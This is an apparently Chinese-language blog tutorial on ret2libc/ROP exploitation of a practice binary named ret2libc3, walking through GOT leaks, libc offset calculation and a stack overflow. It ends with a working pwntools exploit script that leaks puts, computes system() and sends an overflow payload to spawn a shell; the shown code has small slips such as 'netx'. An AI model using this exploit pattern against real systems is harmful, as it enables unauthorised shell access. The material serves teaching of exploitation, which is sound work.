ret2libc–ROP(pwn)漏洞入門分析
- 2020 年 10 月 26 日
- 筆記
背景知識
fflush
函數,清理緩衝區。
fflush(stdout)
一次性輸出以上緩衝區所有數據
read(0,&buf,0xAu)
0代表標準輸入,標準輸出1,標準錯誤2,&buf 向buf輸入。輸入 長度為A的值的長度,數據類型U代表的是無符int
strtol(&buf,v3,v4)
是將輸入的數據的ASCII碼轉換成數值存入 buf
中去
在read
中接受的是ascii碼,所以使用python方法應該是 io.send(str(‘某個地址’))
使用got
查看運行的GOt 表中的資訊
其中0x80
開始的就是未載入的表象地址。而0xf
開始一般都是libc中的地址
由上圖可以看出,在 plt 中無 system 函數
利用查找字元串也未發現 /bin/sh
構建shell思路
當調試的時候查詢到 puts 函數的時候,因為在 libc 中是固定的, 所以system
相對於puts
的位置是固定的,得到了puts
的地址加上偏移量即可獲得system
地址
libc=ELF('./libc-2.23.so')
libc.symbols["system"]
//獲取方法和獲取當前變數一樣
libc.symbols["puts"]
同樣也可以使用ida進行獲取
puts
相差的絕對值為 system
– puts
=
獲取 puts 的 Got 地址。
from pwn import *
io=process(‘./ret2libc3’)
elf=ELF(‘./ret2libc3’)
elf.got[‘puts’]
獲得elf中put的 puts 地址 134520860
將該值傳到伺服器(這裡是本地進程)
See_something 函數獲取put在遠程(這裡是本地測試)的地址。
地址為0xf7daecd0
以 f7 開頭的一般都是 libc 地址
獲取sh
地址
獲取到fflush
存儲的地址,讀取由sh開始的地址,當讀取完sh
就會讀取到 %00 。
即可完成字元串sh
的讀取
netx(elf.search(b"sh\0x00"))
利用鏈
在複製過程中 src 的內容過長(0x100),導致 dest 之外的內容被覆蓋。
src 內容來自於用戶輸入。
(注:默認情況下使用的libc文件為本機文件,使用ldd ret2libc3 -v查看相關資訊)
payload
from pwn import *
io=process(“./ret2libc3”)
elf=ELF(“./ret2libc3.1”)
libc3=ELF(“/lib/i386-linux-gnu/libc.so.6”)
io.sendlineafter(” :”,str(elf.got[“puts”]))
io.recvuntil(b’ : ‘)
puts_addr=int(io.recvuntil(b’\n’,drop=True),16)
base_addr=libc3.symbols[“system”]-libc3.symbols[“puts”]
print(base_addr)
payload=flat(cyclic(60),puts_addr+base_addr,0xdeadbeef,next(elf.search(b”sh\x00″)))
print(payload)
io.sendlineafter(b” :”,payload)
print(io.recv())
io.interactive()